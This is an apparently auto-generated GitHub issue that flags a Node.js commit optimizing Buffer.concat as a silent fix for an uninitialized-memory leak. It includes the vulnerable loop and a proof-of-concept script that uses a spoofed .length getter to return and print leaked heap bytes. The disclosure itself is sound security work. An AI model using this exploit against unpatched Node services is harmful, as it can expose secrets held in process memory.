-
Notifications
You must be signed in to change notification settings - Fork 13
Description
Potential Security Vulnerability Detected
Repository: nodejs/node
Commit: cc6c188
Author: Mert Can Altin
Date: 2026-02-27T18:36:59Z
Commit Message
buffer: optimize buffer.concat performance
PR-URL: https://github.com/nodejs/node/pull/61721
Reviewed-By: René <contact.9a5d6388@renegade334.me.uk>
Reviewed-By: Gürgün Dayıoğlu <hey@gurgun.day>
Reviewed-By: Yagiz Nizipli <yagiz@nizipli.com>
Pull Request
PR: #61721 - buffer: optimize buffer.concat performance
Labels: buffer, author ready, needs-ci, needs-benchmark-ci, commit-queue-squash
Description:
Removed the _copyActual indirection in the copy loop and called TypedArrayPrototypeSet directly.
Split auto-length and explicit-length paths so the auto-length copy loop is branch free. Replaced Buffer.allocUnsafe with allocate to skip redundant validation.
benchmark results:
➜ node git:(mert/buffer-concat-optimize-js) ✗ node-benchmark-compare ./result.csv
confidence improvement accuracy (*) (**) (***)...
### Analysis
**Vulnerability Type:** Information Disclosure (Uninitialized Memory Exposure)
**Severity:** High
### Description
Before the patch, Buffer.concat() computed the total allocation size using the user-controllable `.length` property of each element, then allocated with `Buffer.allocUnsafe(length)`. For typed arrays, an attacker could spoof a larger `.length` via a getter, causing an oversized uninitialized Buffer to be returned, leaking process memory contents. The patch fixes this by using the typed array’s intrinsic byte length (`TypedArrayPrototypeGetByteLength`) and by allocating via `allocate` plus explicit zero-filling of any slack.
### Affected Code
for (let i = 0; i < list.length; i++) {
if (list[i].length) {
length += list[i].length;
}
}
const buffer = Buffer.allocUnsafe(length);
### Proof of Concept
/* Run on a Node version before cc6c18802dc6dfc041f359bb417187a7466e9e8f */
// Attacker-controlled Uint8Array with spoofed .length getter inflates allocation size.
const u8_1 = new Uint8Array([1, 2, 3, 4]);
const u8_2 = new Uint8Array([5, 6, 7, 8]);
Object.defineProperty(u8_1, 'length', { get() { return 1024 * 1024; } }); // 1MB
const b = Buffer.concat([u8_1, u8_2]);
console.log('returned length:', b.length); // BEFORE PATCH: 1048576 + 8 (or similar huge value)
// Only first 8 bytes are controlled; the rest is uninitialized heap data.
// Demonstrate leak by showing non-zero/unexpected bytes in the tail.
let leaked = 0;
for (let i = 8; i < b.length; i++) {
if (b[i] !== 0) { leaked++; if (leaked > 32) break; }
}
console.log('non-zero bytes after concatenated data (leak indicator):', leaked);
// Print a slice of leaked memory.
console.log('tail sample:', b.subarray(8, 8 + 64));
---
*This issue was automatically created by [Vulnerability Spoiler Alert](https://github.com/spaceraccoon/vulnerability-spoiler-alert-action).*
*Detected at: 2026-02-27T18:45:57.724Z*